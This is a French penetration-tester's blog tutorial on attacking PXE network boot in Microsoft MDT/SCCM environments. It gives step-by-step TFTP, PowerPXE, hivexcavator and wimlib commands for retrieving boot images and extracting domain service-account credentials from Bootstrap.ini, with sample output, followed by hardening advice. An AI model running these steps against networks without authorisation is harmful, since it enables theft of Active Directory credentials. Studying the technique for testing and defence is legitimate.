S’attaquer aux images PXE

S’attaquer aux images PXE

bannière

Dans cet article, nous allons démystifier les rouages de l’amorçage PXE et expliquer comment récupérer et analyser une image PXE afin d’y trouver des secrets (par exemple un compte du domaine AD).

Note : Cet article est aussi disponible en anglais 🇬🇧.

PXE, c’est quoi ? 🔍

L’amorçage PXE (sigle de Pre-boot eXecution Environment) permet à une station de travail de démarrer depuis le réseau en récupérant une image de système d’exploitation qui se trouve sur un serveur.

(Source)

En substance, PXE permet de démarrer une machine depuis une image disponible sur le réseau plutôt que depuis un disque (physique ou réseau).

S’il y a opération sur le réseau, alors il y a des chances que nous puissions nous mêler des échanges entre client et serveur.

Scénarios 🎥

Les attaquants s’intéressent principalement aux images d’amorçage PXE pour les raisons suivantes :

  • Scénario 1 : Modifier l’image : injecter un vecteur d’élévation des privilèges (EoP) ou une porte dérobée dans l’image pour obtenir un accès administratif ou espionner l’hôte compromis avec une attaque de type Man-in-the-Middle (MitM).
  • Scénario 2 : Lire l’image : analyser l’image pour y trouver des mots de passe et des secrets.

Nous allons nous attarder sur ce second scénario.

La théorie 📚

pluie d'acronymes

Microsoft Deployment Toolkit (MDT) (intégré dans System Center Configuration Manager (SCCM)) permet d’automatiser le déploiement de Windows et de gérer les images du système d’exploitation.

Certains appareils chargent et installent le système d’exploitation directement sur une connexion réseau via des images Preboot Execution Environment (PXE) gérées et hébergées par MDT.

Les appareils demandent une configuration PXE via le protocole Dynamic Host Configuration Protocol (DHCP), puis une connexion Trivial File Transfer Protocol (TFTP) est utilisée pour récupérer l’image de démarrage PXE.

La configuration PXE récupérée nous donnera une liste de fichiers Boot Configuration Data (BCD) utilisés par le gestionnaire de démarrage Windows de Microsoft.

Ces fichiers BCD sont comme des bases de données et utilisent le même format que les ruches du registre Windows.

L’analyse des fichiers BCD permet de récupérer le chemin des fichiers Windows Imaging Format (WIM) qui sont les images de démarrage (PXE).

En effet, les fichiers BCD récupérés via PXE ne contiendront que les pointeurs vers les fichiers WIM et d’autres éléments tels que les fichiers System Deployment Image (SDI).

Note : Contrairement à FTP, TFTP ne permet pas de lister les fichiers disponibles, il faut donc connaître le chemin exact pour les récupérer, c’est pourquoi l’analyse du fichier BCD est nécessaire.

Un (relativement) beau schéma vaut mieux qu’un long paragraphe :

schéma du processus

Après avoir téléchargé les fichiers WIM, l’attaquant peut les analyser pour récupérer, par exemple, des informations d’authentification.

La pratique ⚗️

Afin, d’écourter les explications sur les sujets annexes, comme point de départ, nous allons nous positionner au moment où le serveur MDT (PXE) nous a renvoyé le chemin du fichier BCD à télécharger dans la réponse DHCPACK.

Exemple de nom de fichier BCD : \Tmp\x64{86DE546E-9214-4629-AB2C-25FB09B5F2D2}.bcd. C’est un identifiant qui change toutes les 24 heures.

Pour aller plus loin : Microsoft – Comprendre le démarrage PXE dans Configuration Manager

Procédure sous Windows 🪟

windows

Téléchargement du fichier BCD via TFTP :

tftp -i 10.0.0.254 GET "\Tmp\x64{86DE546E-9214-4629-AB2C-25FB09B5F2D2}.bcd" conf.bcd

Note : le binaire tftp est natif à Windows.

Nous utiliserons l’outil Windows Powershell PowerPXE pour les étapes suivantes.

Extraire le chemin du fichier WIM dans le fichier BCD :

PS > Import-Module .\PowerPXE.ps1
PS > $BCDFile = "conf.bcd"
PS > Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
\Boot\x64\Images\LiteTouchPE_x64.wim

Téléchargement du fichier WIM via TFTP :

tftp -i 10.0.0.254 GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.wim

Analyse du fichier WIM afin d’extraire des authentifiants :

PS C:\Users\noraj\Documents\test> Get-FindCredentials -WimFile pxeboot.wim
>> Open pxeboot.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\MYMDT\MTDBuildLab$
>>>> >>>> UserID = svcMDT
>>>> >>>> UserDomain = userdemo
>>>> >>>> UserPassword = y5PyRmvEomYyq9Zf

Procédure sous Linux 🐧

linux

Téléchargement du fichier BCD via TFTP avec le client atftp :

atftp --get -l conf.bcd -r '\Tmp\x64{86DE546E-9214-4629-AB2C-25FB09B5F2D2}.bcd' 10.0.0.254

Extraire le chemin du fichier WIM dans le fichier BCD avec hivexcavator :

hivexcavator ~/test/pxe/conf.bcd

hivexcavator

(Parenthèse sur le pourquoi hivexcavator)

La bibliothèque PowerShell PowerPXE fait tout cela MAIS alors que la plupart des fonctions (comme Get-FindCredentials) fonctionnent sur PowerShell Core, certaines fonctions comme Get-WimFile ne fonctionnent que sur Windows PowerShell (et donc que sous Windows et pas sous Linux).

Get-WimFile, utilisé pour extraire le chemin du fichier WIM, utilise le module PowerShell Common Information Model (CIM) qui n’est disponible que sous Windows.

(Fin de parenthèse sur le pourquoi hivexcavator)

Téléchargement du fichier WIM via TFTP toujours avec le client atftp :

➜ atftp --get -l pxeboot.wim -r '\Boot\x64\Images\LiteTouchPE_x64.wim' 10.0.0.254

Analyse du fichier WIM afin d’extraire des authentifiants à l’aide de wimlib et ses nombreux utilitaires :

  • Liste les fichiers avec wimdir
    ➜ wimdir pxeboot.wim | grep -E 'Bootstrap.ini|CustomSettings.ini'
    /Deploy/Scripts/Bootstrap.ini
  • Extrait tous les fichiers avec wimapply
    ➜ wimapply pxeboot.wim extractfolder
    Applying image 1 ("THM PXE Boot Image") from "/home/noraj/test/pxeboot.wim" to directory "extract"
    Creating files: 3394 of 3394 (100%) done
    Extracting file data: 1023 MiB of 1023 MiB (100%) done
    Applying metadata to files: 3382 of 3382 (100%) done
    Done applying WIM image.
  • Extraire seulement un fichier avec wimextract
    ➜ wimextract pxeboot.wim 1 '/Deploy/Scripts/Bootstrap.ini'
    Extracting file data: 159 bytes of 159 bytes (100%) done
    Done extracting files.
  • Monter l’image comme un système de fichier avec wimmount
    ➜ sudo wimmount pxeboot.wim 1 /mnt

Note : Comme avec Get-WimFile et le module CIM pour hivexcavator, l’utilisation de wimlib est justifiée par le fait que Get-FindCredentials utilise Expand-WindowsImage cmdlet du module DSIM qui est disponible uniquement sous Windows. D’autant plus que Get-FindCredentials se contente de regarder seulement Bootstrap.ini et CustomSettings.ini là où wimlib nous permettra de recherche absolument n’importe quoi.

Sécurisation 🛡️

PXE ne dispose d’aucun mécanisme de chiffrement ou d’authentification.

Quelques mesures en vrac pour tenter de limiter le risque :

  • Limiter la disponibilité des services PXE en utilisant le filtrage des adresses MAC ;
  • Utiliser l’UEFI HTTPS boot qui est bien plus sécurisé que le PXE boot ;
  • Si des certificats sont utilisés dans l’image, les protéger avec un mot de passe (PFX) ;
  • Ajouter un mot de passe pour pouvoir utiliser PXE (voir article) ;
  • Ne pas stocker d’informations sensibles dans l’image PXE, le contenu sensible doit être déployé après l’installation ;

Références :

À propos de l’auteur 📝

Article écrit par Alexandre ZANNI alias noraj, Ingénieur en Test d’Intrusion chez ACCEIS.

Besoin d’être accompagné en cybersécurité ?